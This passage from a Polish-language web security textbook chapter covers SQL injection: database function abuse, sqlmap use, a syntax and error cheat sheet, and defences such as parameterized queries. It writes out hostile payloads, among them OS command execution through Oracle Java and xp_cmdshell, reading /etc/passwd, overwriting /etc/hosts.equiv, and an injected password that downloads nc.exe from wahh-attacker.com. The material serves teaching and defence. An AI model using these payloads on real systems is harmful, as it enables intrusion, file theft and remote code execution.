Ten typ ataku może zostać przeprowadzony poprzez lukę polegającą na wstrzyknięciu kodu SQL w aplikacji internetowej poprzez wstrzyknięcie funkcji do podatnego na atak parametru. Oprócz rzeczywistych luk, takich jak te, Oracle zawiera również dużą liczbę domyślnych funkcji. Jest dostępny dla użytkowników o niskich uprawnieniach i może być używany do wykonywania niepożądanych działań, takich jak inicjowanie połączeń sieciowych lub uzyskiwanie dostępu do systemu plików. Oprócz opisanych już potężnych pakietów do tworzenia połączeń poza pasmem, pakiet UTL_FILE może być używany do odczytu i zapisu plików w systemie plików serwera bazy danych. W 2010 roku David Litchfi eld zademonstrował, w jaki sposób Java może być nadużywana w Oracle 10g R2 i 11g do wykonywania poleceń systemu operacyjnego. Ten atak najpierw wykorzystuje lukę w DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY, aby przyznać bieżącemu użytkownikowi uprawnienia java.io.filepermission. Atak następnie wykonuje klasę Java (oracle/aurora/util/Wrapper), która uruchamia polecenie systemu operacyjnego przy użyciu DBMS_JAVA.RUNJAVA. Na przykład:

DBMS_JAVA.RUNJAVA('Oracle/aurora/util/Wrapper c:\\windows\\system32\\

cmd.exe /c katalog>c:\\OUT.LST’)

MySQL

W porównaniu z innymi omawianymi bazami danych, MySQL zawiera stosunkowo niewiele wbudowanych funkcji, których osoba atakująca może niewłaściwie użyć. Jednym z przykładów jest możliwość odczytu i zapisu w systemie plików przez dowolnego użytkownika z uprawnieniem FILE_PRIV. Komendy LOAD_FILE można użyć do pobrania zawartości dowolnego pliku. Na przykład:

seelct load_file('/etc/passwd')

Polecenia SELECT ... INTO OUTFILE można użyć do potokowania wyników dowolnego zapytania do pliku. Na przykład:

create table test (a varchar(200))

insert into test(a) values ('+ +')

select * from test into outfile '/etc/hosts.equiv'

Oprócz odczytywania i zapisywania kluczowych plików systemu operacyjnego, ta funkcja może być wykorzystana do przeprowadzania innych ataków:

* Ponieważ MySQL przechowuje swoje dane w plikach zwykłego tekstu, do których baza danych musi mieć dostęp do odczytu, osoba atakująca z uprawnieniami FILE_PRIV może po prostu otworzyć odpowiedni plik i odczytać dowolne dane z bazy danych, omijając wszelkie kontrole dostępu wymuszone w samej bazie danych .

* MySQL umożliwia użytkownikom tworzenie funkcji zdefiniowanych przez użytkownika (UDF) poprzez wywołanie skompilowanego pliku biblioteki zawierającego implementację funkcji. Ten plik musi znajdować się w normalnej ścieżce, z której MySQL ładuje biblioteki dynamiczne. Osoba atakująca może użyć powyższej metody, aby utworzyć dowolny plik binarny w tej ścieżce, a następnie utworzyć funkcję UDF, która z niej korzysta.

Korzystanie z narzędzi eksploitacji SQL

Wiele z opisanych przez nas technik wykorzystania luk w zabezpieczeniach związanych z iniekcją SQL polega na wykonywaniu dużej liczby żądań w celu wyodrębnienia niewielkich ilości danych jednocześnie. Na szczęście dostępnych jest wiele narzędzi, które automatyzują znaczną część tego procesu i są świadome składni specyficznej dla bazy danych, wymaganej do przeprowadzania udanych ataków. Większość obecnie dostępnych narzędzi wykorzystuje następujące podejście do wykorzystania luk związanych z iniekcją SQL:

* Brute-force wszystkie parametry w docelowym żądaniu, aby zlokalizować punkty wstrzyknięcia SQL.

* Określ lokalizację podatnego pola w wewnętrznym zapytaniu SQL, dodając różne znaki, takie jak nawiasy zamykające, znaki komentarza i słowa kluczowe SQL.

* Próba przeprowadzenia ataku UNION przez brutalne wymuszenie liczby wymaganych kolumn, a następnie zidentyfikowanie kolumny z typem danych varchar, którego można użyć do zwrócenia wyników.

* Wstrzykiwanie niestandardowych zapytań w celu pobrania dowolnych danych — w razie potrzeby łączenie danych z wielu kolumn w łańcuch, który można pobrać za pomocą pojedynczego wyniku typu danych varchar.

* Jeśli nie można pobrać wyników przy użyciu funkcji UNION, wprowadź do zapytania warunki logiczne (AND 1=1, AND 1=2 itd.), aby określić, czy odpowiedzi warunkowe mogą być używane do pobierania danych.

* Jeśli wyników nie można pobrać przez wstrzyknięcie wyrażeń warunkowych, spróbuj użyć warunkowych opóźnień czasowych do pobrania danych.

Narzędzia te lokalizują dane, przeszukując odpowiednie tabele metadanych dla danej bazy danych. Ogólnie rzecz biorąc, mogą wykonać pewien poziom eskalacji, na przykład użyć xp_cmdshell, aby uzyskać dostęp na poziomie systemu operacyjnego. Używają również różnych technik optymalizacyjnych, wykorzystując wiele funkcji i wbudowanych funkcji w różnych bazach danych, aby zmniejszyć liczbę niezbędnych zapytań w ataku brute-force opartym na wnioskowaniu, uniknąć potencjalnych filtrów pojedynczych cudzysłowów i nie tylko.

UWAGA: Narzędzia te są przede wszystkim narzędziami eksploatacyjnymi, najlepiej przystosowanymi do wydobywania danych z bazy danych poprzez wykorzystanie punktu wstrzyknięcia, który już zidentyfikowałeś i zrozumiałeś. Nie są magiczną kulą do znajdowania i wykorzystywania luk w iniekcji SQL. W praktyce często konieczne jest zapewnienie dodatkowej składni SQL przed i/lub po danych wstrzykniętych przez narzędzie, aby zakodowane na stałe ataki narzędzia zadziałały.

KROKI HACKOWANIA

Po zidentyfikowaniu luki w zabezpieczeniach umożliwiającej wstrzyknięcie kodu SQL przy użyciu technik opisanych wcześniej w tym rozdziale można rozważyć użycie narzędzia do wstrzykiwania kodu SQL w celu wykorzystania luki i pobrania interesujących danych z bazy danych. Ta opcja jest szczególnie przydatna w przypadkach, gdy konieczne jest użycie technik „na ślepo” w celu pobrania niewielkiej ilości danych jednocześnie.

1. Uruchom narzędzie do wykorzystywania SQL, używając przechwytującego serwera proxy. Analizuj żądania wysyłane przez narzędzie oraz odpowiedzi aplikacji. Włącz dowolne szczegółowe opcje wyjściowe w narzędziu i skoreluj jego postęp z obserwowanymi zapytaniami i odpowiedziami.

2. Ponieważ tego rodzaju narzędzia opierają się na gotowych testach i określonej składni odpowiedzi, może być konieczne dołączenie lub dołączenie danych do łańcucha wprowadzonego przez narzędzie, aby upewnić się, że narzędzie uzyska oczekiwaną odpowiedź. Typowe wymagania to dodanie znaku komentarza, równoważenie pojedynczych cudzysłowów w zapytaniu SQL serwera oraz dołączanie lub poprzedzanie nawiasów zamykających do łańcucha w celu dopasowania do oryginalnego zapytania.

3. Jeśli składnia wydaje się zawodzić niezależnie od opisanych tutaj metod, często najłatwiej jest utworzyć zagnieżdżone podzapytanie, które jest w pełni kontrolowane, i pozwolić narzędziu na wstrzyknięcie do niego. Dzięki temu narzędzie może wykorzystywać wnioskowanie do wyodrębniania danych. Zagnieżdżone zapytania działają dobrze, gdy wprowadzasz je do standardowych zapytań SELECT i UPDATE. W Oracle działają w ramach instrukcji INSERT. W każdym z poniższych przypadków dołącz tekst występujący przed [input] i dołącz nawias zamykający występujący po tym punkcie:

* Oracle: ‘||(select 1 from dual where 1=[input])

* MS-SQL: (select 1 where 1=[input])

Istnieje wiele narzędzi do automatycznego wykorzystania iniekcji SQL. Wiele z nich jest specjalnie ukierunkowanych na MS-SQL, a wiele z nich zaprzestało aktywnego rozwoju i zostało wyprzedzonych przez nowe techniki i rozwój wstrzykiwania SQL. Ulubionym przez autorów jest sqlmap, który może atakować między innymi MySQL, Oracle i MS-SQL. Implementuje wyszukiwanie oparte na UNION i oparte na wnioskowaniu. Obsługuje różne metody eskalacji, w tym pobieranie plików z systemu operacyjnego i wykonywanie poleceń w systemie Windows przy użyciu xp_cmdshell. W praktyce sqlmap jest skutecznym narzędziem do wyszukiwania informacji w bazie danych za pomocą opóźnienia

czasowego lub innych metod wnioskowania i może być przydatny do wyszukiwania opartego na UNION. Jednym z najlepszych sposobów użycia jest użycie opcji --sql-shell. Daje to atakującemu monit SQL i wykonuje niezbędne UNION, oparte na błędach lub ślepe wstrzyknięcie SQL za kulisami, aby wysłać i pobrać wyniki.

Na przykład:

C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use

--sql-shell -p Empno

sqlmap/0.8 - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[*] starting at: 14:54:39

[14:54:39] [INFO] using 'C:\sqlmap\output\wahh-app.com\session'

as session file

[14:54:39] [INFO] testing connection to the target url

[14:54:40] [WARNING] the testable parameter 'Empno' you provided is not

into the

Cookie

[14:54:40] [INFO] testing if the url is stable, wait a few seconds

[14:54:44] [INFO] url is stable

[14:54:44] [INFO] testing sql injection on GET parameter 'Empno' with 0

parenthesis

[14:54:44] [INFO] testing unescaped numeric injection on GET parameter

'Empno'

[14:54:46] [INFO] confirming unescaped numeric injection on GET

parameter 'Empno'

[14:54:47] [INFO] GET parameter 'Empno' is unescaped numeric injectable

with 0

parenthesis

[14:54:47] [INFO] testing for parenthesis on injectable parameter

[14:54:50] [INFO] the injectable parameter requires 0 parenthesis

[14:54:50] [INFO] testing MySQL

[14:54:51] [WARNING] the back-end DMBS is not MySQL

[14:54:51] [INFO] testing Oracle

[14:54:52] [INFO] confirming Oracle

[14:54:53] [INFO] the back-end DBMS is Oracle

web server operating system: Windows 2000

web application technology: ASP, Microsoft IIS 5.0

back-end DBMS: Oracle

[14:54:53] [INFO] testing inband sql injection on parameter ‘Empno’ with

NULL

bruteforcing technique

[14:54:58] [INFO] confirming full inband sql injection on parameter

‘Empno’

[14:55:00] [INFO] the target url is affected by an exploitable full

inband

sql injection vulnerability

valid union: ‘http://wahh-app.com:80/employees.asp?Empno=7369%20

UNION%20ALL%20SEL

ECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%20FROM%20DUAL--%20AND%20

3663=3663’

[14:55:00] [INFO] calling Oracle shell. To quit type ‘x’ or ‘q’ and

press ENTER

sql-shell> select banner from v$version

do you want to retrieve the SQL statement output? [Y/n]

[14:55:19] [INFO] fetching SQL SELECT statement query output: ‘select banner

from v$version’

select banner from v$version [5]:

[*] CORE 9.2.0.1.0 Production

[*] NLSRTL Version 9.2.0.1.0 - Production

[*] Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production

[*] PL/SQL Release 9.2.0.1.0 - Production

[*] TNS for 32-bit Windows: Version 9.2.0.1.0 - Production

sql-shell>

Składnia SQL i odniesienie do błędów

Opisaliśmy wiele technik, które umożliwiają sondowanie i wykorzystywanie luk SQL Injection w aplikacjach internetowych. W wielu przypadkach istnieją niewielkie różnice między składnią, którą należy zastosować w odniesieniu do różnych platform baz danych zaplecza. Co więcej, każda baza danych generuje różne komunikaty o błędach, których znaczenie należy zrozumieć zarówno podczas wyszukiwania luk, jak i podczas próby stworzenia skutecznego exploita. Poniższe strony zawierają krótką ściągawkę, której można użyć do wyszukania dokładnej składni potrzebnej do wykonania określonego zadania i odszyfrowania napotkanych nieznanych komunikatów o błędach.

Składnia SQL

Requirement:	ASCII and SUBSTRING
Oracle:	ASCII('A') is equal to 65 SUBSTR('ABCDE',2,3) is equal to BCD
MS-SQL:	ASCII('A') is equal to 65 SUBSTRING('ABCDE',2,3) is equal to BCD
MySQL:	ASCII('A') is equal to 65 SUBSTRING('ABCDE',2,3) is equal to BCD

Requirement:	Retrieve current database user
Oracle:	Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV', 'SESSION_USER')
MS-SQL:	select suser_sname()
MySQL:	SELECT user()

Requirement:	Cause a time delay
Oracle:	Utl_Http.request('http://madeupserver.com')
MS-SQL:	waitfor delay '0:0:10' exec master..xp_cmdshell 'ping localhost'
MySQL:	sleep(100)

Requirement:	Retrieve database version string
Oracle:	`select banner from v$version`
MS-SQL:	`select @@version`
MySQL:	`select @@version`

Requirement:	Retrieve current database
Oracle:	`SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual`

MS-SQL:	`SELECT db_name()`
	The server name can be retrieved using:
	`SELECT @@servername`

MySQL:	`SELECT database()`

Requirement:	Retrieve current user's privilege
Oracle:	`SELECT privilege FROM session_privs`
MS-SQL:	`SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES`
MySQL:	`SELECT * FROM information_schema.user_privileges WHERE grantee = '[user]'` where `[user]` is determined from the output of `SELECT user()`

Requirement:	Show all tables and columns in a single column of results
Oracle:	`Select table_name||' '||column_name from all_tab_columns`
MS-SQL:	`SELECT table_name+' '+column_name from information_schema.columns`
MySQL:	`SELECT CONCAT(table_name, ',column_name) from information_schema.columns`

Requirement:	Show user objects
Oracle:	`SELECT object_name, object_type FROM user_objects`
MS-SQL:	`SELECT name FROM sysobjects`
MySQL:	`SELECT table_name FROM information_schema.tables` (or trigger_name from `information_schema.triggers`, etc.)

Requirement:	Show user tables

Oracle:	`SELECT object_name, object_type FROM user_objects WHERE object_type='TABLE'`
	Or to show all tables to which the user has access:
	`SELECT table_name FROM all_tables`

MS-SQL:	`SELECT name FROM sysobjects WHERE xtype='U'`
MySQL:	`SELECT table_name FROM information_schema. tables where table_type='BASE TABLE' and table_schema!='mysql'`

Requirement:	Show column names for table foo
Oracle:	`SELECT column_name, name FROM user_tab_columns WHERE table_name = 'FOO'` Use the `ALL_tab_columns` table if the target data is not owned by the current application user.
MS-SQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`
MySQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`

Requirement:	Interact with the operating system (simplest ways)
Oracle:	See *The Oracle Hacker's Handbook* by David Litchfield
MS-SQL:	`EXEC xp_cmshell 'dir c:\ '`
MySQL:	`SELECT load_file('/etc/passwd')`

Komunikaty o błędach SQL

Oracle:	`ORA-01756: quoted string not properly terminated` `ORA-00933: SQL command not properly ended`

MS-SQL:	`Msg 170, Level 15, State 1, Line 1`
	`Line 1: Incorrect syntax near 'foo'`
	`Msg 105, Level 15, State 1, Line 1`
	`Unclosed quotation mark before the character string 'foo'`

MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ''foo' at line X`
Translation:	For Oracle and MS-SQL, SQL injection is present, and it is almost certainly exploitable! If you entered a single quote and it altered the syntax of the database query, this is the error you'd expect. For MySQL, SQL injection may be present, but the same error message can appear in other contexts.

Oracle:	`PLS-00306: wrong number or types of arguments in call to 'XXX'`
MS-SQL:	`Procedure 'XXX' expects parameter '@YYY', which was not supplied`
MySQL:	N/A
Translation:	You have commented out or removed a variable that normally would be supplied to the database. In MS-SQL, you should be able to use time delay techniques to perform arbitrary data retrieval.

Oracle:	`ORA-01789: query block has incorrect number of result columns`
MS-SQL:	`Msg 205, Level 16, State 1, Line 1` `All queries in a SQL statement containing a UNION operator must have an equal number of expressions in their target lists.`
MySQL:	`The used SELECT statements have a different number of columns`
Translation:	You will see this when you are attempting a `UNION SELECT` attack, and you have specified a different number of columns to the number in the original `SELECT` statement.

Oracle:	`ORA-01790: expression must have same datatype as corresponding expression`
MS-SQL:	`Msg 245, Level 16, State 1, Line 1` `Syntax error converting the varchar value 'foo' to a column of data type int.`
MySQL:	(MySQL will not give you an error.)
Translation:	You will see this when you are attempting a `UNION SELECT` attack, and you have specified a different data type from that found in the original `SELECT` statement. Try using a `NULL`, or using `1` or `2000`.

Oracle:	`ORA-01722: invalid number`
	
	`ORA-01858: a non-numeric character was found where a numeric was expected`

MS-SQL:	`Msg 245, Level 16, State 1, Line 1`
	
	`Syntax error converting the varchar value 'foo' to a column of data type int.`

MySQL:	(MySQL will not give you an error.)
Translation:	Your input doesn't match the expected data type for the field. You may have SQL injection, and you may not need a single quote, so try simply entering a number followed by your SQL to be injected. In MS-SQL, you should be able to return any string value with this error message.

Oracle:	`ORA-00923: FROM keyword not found where expected`
MS-SQL:	N/A
MySQL:	N/A

Translation:	The following will work in MS-SQL:
	
	`SELECT 1`
	
	But in Oracle, if you want to return something, you must select from a table. The `DUAL` table will do fine:
	
	`SELECT 1 from DUAL`

Oracle:	`ORA-00936: missing expression`
MS-SQL:	`Msg 156, Level 15, State 1, Line 1Incorrect syntax near the keyword 'from'.`
MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ' XXX , YYY from SOME_TABLE' at line 1`
Translation:	You commonly see this error message when your injection point occurs before the `FROM` keyword (for example, you have injected into the columns to be returned) and/or you have used the comment character to remove required SQL keywords. Try completing the SQL statement yourself while using your comment character. MySQL should helpfully reveal the column names XXX, YYY when this condition is encountered.

Oracle:	`ORA-00972:identifier is too long`
MS-SQL:	`String or binary data would be truncated.`
MySQL:	N/A
Translation:	This does not indicate SQL injection. You may see this error message if you have entered a long string. You're unlikely to get a buffer overflow here either, because the database is handling your input safely.

Oracle:	`ORA-00942: table or view does not exist`
MS-SQL:	`Msg 208, Level 16, State 1, Line 1` `Invalid object name 'foo'`
MySQL:	`Table 'DBNAME.SOMETABLE' doesn't exist`
Translation:	Either you are trying to access a table or view that does not exist, or, in the case of Oracle, the database user does not have privileges for the table or view. Test your query against a table you know you have access to, such as `DUAL`. MySQL should helpfully reveal the current database schema `DBNAME` when this condition is encountered.

Oracle:	`ORA-00920: invalid relational operator`
MS-SQL:	`Msg 170, Level 15, State 1, Line 1` `Line 1: Incorrect syntax near foo`
MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1`
Translation:	You were probably altering something in a `WHERE` clause, and your SQL injection attempt has disrupted the grammar.

Oracle:	`ORA-00907: missing right parenthesis`
MS-SQL:	N/A
MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1`
Translation:	Your SQL injection attempt has worked, but the injection point was inside parentheses. You probably commented out the closing parenthesis with injected comment characters (`--`).

Oracle:	`ORA-00900: invalid SQL statement`
MS-SQL:	`Msg 170, Level 15, State 1, Line 1` `Line 1: Incorrect syntax near foo`
MySQL:	`You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near XXXXXX`
Translation:	A general error message. The error messages listed previously all take precedence, so something else went wrong. It's likely you can try alternative input and get a more meaningful message.

Oracle:	`ORA-03001: unimplemented feature`
MS-SQL:	N/A
MySQL:	N/A
Translation:	You have tried to perform an action that Oracle does not allow. This can happen if you were trying to display the database version string from `v$version` but you were in an `UPDATE` or `INSERT` query.

Oracle:	`ORA-02030: can only select from fixed tables/views`
MS-SQL:	N/A
MySQL:	N/A
Translation:	You were probably trying to edit a `SYSTEM` view. This can happen if you were trying to display the database version string from `v$version` but you were in an `UPDATE` or `INSERT` query.

Zapobieganie iniekcji SQL

Pomimo wszystkich jego różnych przejawów i złożoności, które mogą pojawić się podczas jego wykorzystywania, iniekcja SQL jest ogólnie jedną z łatwiejszych do uniknięcia luk w zabezpieczeniach. Niemniej jednak dyskusja na temat środków zaradczych związanych z iniekcją SQL jest często myląca, a wiele osób polega na środkach obronnych, które są tylko częściowo skuteczne.

Środki częściowo skuteczne

Ze względu na znaczenie pojedynczego cudzysłowu w standardowych wyjaśnieniach błędów iniekcji SQL, powszechnym podejściem do zapobiegania atakom jest unikanie pojedynczych cudzysłowów w danych wejściowych użytkownika poprzez ich podwojenie. Widziałeś już dwie sytuacje, w których to podejście zawodzi:

* Jeśli dane numeryczne dostarczone przez użytkownika są osadzane w zapytaniach SQL, zwykle nie są one umieszczane w pojedynczych cudzysłowach. Dlatego osoba atakująca może wyrwać się z kontekstu danych i rozpocząć wprowadzanie dowolnego kodu SQL bez potrzeby umieszczania pojedynczego cudzysłowu.

* W atakach wstrzykiwania SQL drugiego rzędu dane, które zostały bezpiecznie usunięte podczas początkowego wprowadzania do bazy danych, są następnie odczytywane z bazy danych, a następnie ponownie do niej przekazywane. Cudzysłowy, które zostały podwojone, początkowo powracają do pierwotnej postaci, gdy dane są ponownie wykorzystywane. Innym często cytowanym środkiem zaradczym jest użycie procedur składowanych w przypadku dostępu do wszystkich baz danych. Nie ma wątpliwości, że niestandardowe procedury składowane mogą zapewnić korzyści w zakresie bezpieczeństwa i wydajności. Jednak nie gwarantuje się, że zapobiegną one podatnościom na iniekcje SQL z dwóch powodów:

* Jak widzieliśmy w przypadku Oracle, źle napisana procedura składowana może zawierać luki w zabezpieczeniach typu SQL Injection w swoim własnym kodzie. Podobne problemy z bezpieczeństwem pojawiają się podczas konstruowania instrukcji SQL w ramach procedur przechowywanych, jak w innych miejscach. Fakt, że używana jest procedura składowana, nie zapobiega występowaniu błędów.

* Nawet jeśli używana jest solidna procedura składowana, luki w zabezpieczeniach związane z iniekcją SQL mogą wystąpić, jeśli zostanie ona wywołana w niebezpieczny sposób przy użyciu danych wprowadzonych przez użytkownika. Załóżmy na przykład, że funkcja rejestracji użytkownika jest zaimplementowana w procedurze składowanej, która jest wywoływana w następujący sposób:

exec sp_RegisterUser „joe”, „sekret”

Ta instrukcja może być tak samo podatna na ataki, jak prosta instrukcja INSERT. Na przykład osoba atakująca może podać następujące hasło:

bla'; exec master..xp_cmdshell „tftp wahh-attacker.com GET nc.exe”--

co powoduje, że aplikacja wykonuje następujące zapytanie wsadowe:

exec sp_RegisterUser „joe”, „foo”; exec master..xp_cmdshell „tftp

wahh-attacker.com GET nc.exe”--”

W związku z tym użycie procedury składowanej nie osiągnęło niczego. W rzeczywistości w dużej i złożonej aplikacji, która wykonuje tysiące różnych instrukcji SQL, wielu programistów uważa, że

ponowne zaimplementowanie tych instrukcji jako procedur składowanych jest nieuzasadnionym obciążeniem czasowym programowania.

Sparametryzowane zapytania

Większość baz danych i platform do tworzenia aplikacji zapewnia interfejsy API do obsługi niezaufanych danych wejściowych w bezpieczny sposób, co zapobiega powstawaniu podatności na wstrzykiwanie kodu SQL. W zapytaniach sparametryzowanych (znanych również jako przygotowane instrukcje) konstrukcja instrukcji SQL zawierającej dane wejściowe użytkownika odbywa się w dwóch krokach:

1. Aplikacja określa strukturę zapytania, pozostawiając symbole zastępcze dla każdego elementu wprowadzonego przez użytkownika.

2. Aplikacja określa zawartość każdego symbolu zastępczego.

Co najważniejsze, nie ma możliwości, aby spreparowane dane określone w drugim kroku mogły zakłócać strukturę zapytania określonego w pierwszym kroku. Ponieważ struktura zapytania została już zdefiniowana, odpowiedni interfejs API w bezpieczny sposób obsługuje dowolny typ danych zastępczych, więc zawsze jest interpretowany jako dane, a nie jako część struktury instrukcji. Poniższe dwa przykłady kodu ilustrują różnicę między niebezpiecznym zapytaniem tworzonym dynamicznie na podstawie danych użytkownika a jego bezpiecznym sparametryzowanym odpowiednikiem. Po pierwsze, podany przez użytkownika parametr name jest osadzony bezpośrednio w instrukcji SQL, przez co aplikacja jest podatna na iniekcję SQL:

```
// zdefiniuj strukturę zapytania

String queryText = “select ename,sal from emp where ename =’”;

//połącz nazwę podaną przez użytkownika

queryText += request.getParameter("name");

queryText += “’”;

// wykonaj zapytanie

stmt = con.createStatement();

rs = stmt.executeQuery(queryText);
```

W drugim przykładzie struktura zapytania jest zdefiniowana przy użyciu znaku zapytania jako symbolu zastępczego dla parametru podanego przez użytkownika. W celu zinterpretowania tego i ustalenia struktury zapytania, które ma zostać wykonane, wywoływana jest metoda preparStatement. Dopiero wtedy metoda setString jest używana do określenia rzeczywistej wartości parametru.

Ponieważ struktura zapytania została już ustalona, ta wartość może zawierać dowolne dane bez wpływu na strukturę. Zapytanie jest następnie wykonywane bezpiecznie:

```
// zdefiniuj strukturę zapytania

String queryText = “SELECT ename,sal FROM EMP WHERE ename = ?”;

//przygotowanie zestawienia przez połączenie DB „con”

stmt = con.prepareStatement(queryText);
```

//dodanie danych wprowadzonych przez użytkownika do zmiennej 1 (na pierwszym symbolu zastępczym ?)

stmt.setString(1, request.getParameter(“name”));

// wykonaj zapytanie

rs = stmt.executeQuery();

UWAGA: Dokładne metody i składnia tworzenia zapytań parametrycznych różnią się w zależności od baz danych i platform programistycznych.

Jeśli zapytania sparametryzowane mają być skutecznym rozwiązaniem przeciwko iniekcji SQL, należy pamiętać o kilku ważnych zastrzeżeniach:

* Należy ich używać do każdego zapytania do bazy danych. Autorzy napotkali wiele aplikacji, w których programiści każdorazowo oceniali, czy użyć zapytania parametrycznego. W przypadkach, w których wyraźnie wykorzystywano dane wprowadzone przez użytkowników, robili to; w przeciwnym razie nie przeszkadzali. Takie podejście było przyczyną wielu błędów iniekcji SQL. Po pierwsze, skupiając się tylko na danych wejściowych, które zostały natychmiast otrzymane od użytkownika, łatwo jest przeoczyć ataki drugiego rzędu, ponieważ zakłada się, że dane, które zostały już przetworzone, są zaufane. Po drugie, łatwo jest popełnić błędy dotyczące konkretnych przypadków, w których przetwarzane są dane kontrolowane przez użytkownika. W dużej aplikacji różne elementy danych odbywają się w ramach sesji lub otrzymanych od klienta. Założenia przyjęte przez jednego programistę nie mogą być przekazywane innym. Sposób postępowania z określonymi elementami danych może ulec zmianie w przyszłości, wprowadzając błąd wstrzykiwania kodu SQL do wcześniej bezpiecznych zapytań. O wiele bezpieczniej jest przyjąć podejście nakazujące użycie sparametryzowanych zapytań w całej aplikacji.

* Każdy element danych wstawiony do zapytania powinien być odpowiednio sparametryzowany. Autorzy napotkali wiele przypadków, w których większość parametrów zapytania jest obsługiwana bezpiecznie, ale jeden lub dwa elementy są łączone bezpośrednio w łańcuch używany do określenia struktury zapytania. Użycie zapytań sparametryzowanych nie zapobiegnie iniekcji SQL, jeśli niektóre parametry są obsługiwane w ten sposób.

* Symboli zastępczych parametrów nie można używać do określania nazw tabel i kolumn używanych w zapytaniu. W niektórych rzadkich przypadkach aplikacje muszą określać te elementy w zapytaniu SQL na podstawie danych dostarczonych przez użytkownika. W tej sytuacji najlepszym podejściem jest użycie białej listy znanych dobrych wartości (listy tabel i kolumn faktycznie używanych w bazie danych) i odrzucenie każdego wejścia, które nie pasuje do pozycji na tej liście. W przeciwnym razie należy wymusić ścisłą weryfikację danych wejściowych użytkownika — na przykład zezwalając tylko na znaki alfanumeryczne, wykluczając spacje i wymuszając odpowiedni limit długości.

* Symbole zastępcze parametrów nie mogą być używane w innych częściach zapytania, takich jak słowa kluczowe ASC lub DESC, które pojawiają się w klauzuli ORDER BY lub jakiekolwiek inne słowa kluczowe SQL, ponieważ stanowią one część struktury zapytania. Podobnie jak w przypadku nazw tabel i kolumn, jeśli konieczne jest określenie tych elementów na podstawie danych dostarczonych przez użytkownika, należy zastosować rygorystyczną weryfikację białej listy, aby zapobiec atakom.

Obrona w głębi

Jak zawsze solidne podejście do bezpieczeństwa powinno obejmować środki obrony w głąb, aby zapewnić dodatkową ochronę na wypadek, gdyby obrona pierwszej linii zawiodła z jakiegokolwiek

powodu. W kontekście ataków na back-endowe bazy danych można zastosować trzy warstwy dalszej obrony:

* Aplikacja powinna korzystać z możliwie najniższego poziomu uprawnień podczas dostępu do bazy danych. Zasadniczo aplikacja nie wymaga uprawnień na poziomie DBA. Zwykle musi tylko odczytywać i zapisywać własne dane. W sytuacjach krytycznych dla bezpieczeństwa aplikacja może używać innego konta bazy danych do wykonywania różnych działań. Na przykład, jeśli 90 procent zapytań do bazy danych wymaga tylko dostępu do odczytu, można je wykonać przy użyciu konta, które nie ma uprawnień do zapisu. Jeśli określone zapytanie musi odczytać tylko podzbiór danych (na przykład tabelę zamówień, ale nie tabelę kont użytkowników), konto z odpowiednim poziomem dostępu może być użyte. Jeśli takie podejście będzie egzekwowane w całej aplikacji, wszelkie pozostałe błędy związane z iniekcją SQL, które mogą istnieć, prawdopodobnie będą miały znacznie zmniejszony wpływ.

* Wiele korporacyjnych baz danych zawiera ogromną liczbę domyślnych funkcji, które atakujący może wykorzystać, zyskując możliwość wykonywania dowolnych instrukcji SQL. Tam, gdzie to możliwe, należy usunąć lub wyłączyć niepotrzebne funkcje. Chociaż zdarzają się przypadki, w których wykwalifikowany i zdeterminowany atakujący może odtworzyć niektóre wymagane funkcje innymi sposobami, zadanie to zwykle nie jest proste, a wzmocnienie bazy danych nadal będzie stwarzać znaczne przeszkody na ścieżce atakującego.

* Wszystkie poprawki bezpieczeństwa wydane przez dostawców powinny być oceniane, testowane i stosowane w odpowiednim czasie, aby naprawić znane luki w samym oprogramowaniu bazy danych. W sytuacjach krytycznych dla bezpieczeństwa administratorzy baz danych mogą korzystać z różnych usług opartych na subskrybentach, aby otrzymywać powiadomienia z wyprzedzeniem o niektórych znanych lukach, które nie zostały jeszcze załatane przez dostawcę. W międzyczasie mogą wdrożyć odpowiednie środki zastępcze.

Wstrzykiwanie do NoSQL

Termin NoSQL jest używany w odniesieniu do różnych magazynów danych, które odbiegają od standardowych architektur relacyjnych baz danych. Magazyny danych NoSQL reprezentują dane przy użyciu mapowań klucz/wartość i nie opierają się na ustalonym schemacie, takim jak konwencjonalna tabela bazy danych. Klucze i wartości można definiować dowolnie, a format wartości na ogół nie ma znaczenia dla składnicy danych. Kolejną cechą przechowywania klucza/wartości jest to, że wartość może być samą strukturą danych, co pozwala na hierarchiczne przechowywanie, w przeciwieństwie do płaskiej struktury danych wewnątrz schematu bazy danych. Zwolennicy NoSQL twierdzą, że ma to kilka zalet, głównie w przypadku obsługi bardzo dużych zbiorów danych, gdzie hierarchiczna struktura magazynu danych może być zoptymalizowana dokładnie tak, jak jest to wymagane, aby zmniejszyć narzut związany z pobieraniem zestawów danych. W takich przypadkach konwencjonalna baza danych może wymagać skomplikowanych odsyłaczy między tabelami w celu pobrania informacji w imieniu aplikacji. Z punktu widzenia bezpieczeństwa aplikacji internetowych kluczową kwestią jest sposób, w jaki aplikacja wysyła zapytania do danych, ponieważ określa to, jakie formy wstrzykiwania są możliwe. W przypadku iniekcji SQL język SQL jest zasadniczo podobny w różnych produktach bazodanowych. Z kolei NoSQL to nazwa nadana odmiennemu zakresowi magazynów danych, z których każdy ma swoje własne zachowania. Nie wszystkie używają jednego języka zapytań. Oto niektóre z typowych metod zapytań używanych przez magazyny danych NoSQL:

* Wyszukiwanie klucza/wartości

* XPath

* Języki programowania, takie jak JavaScript

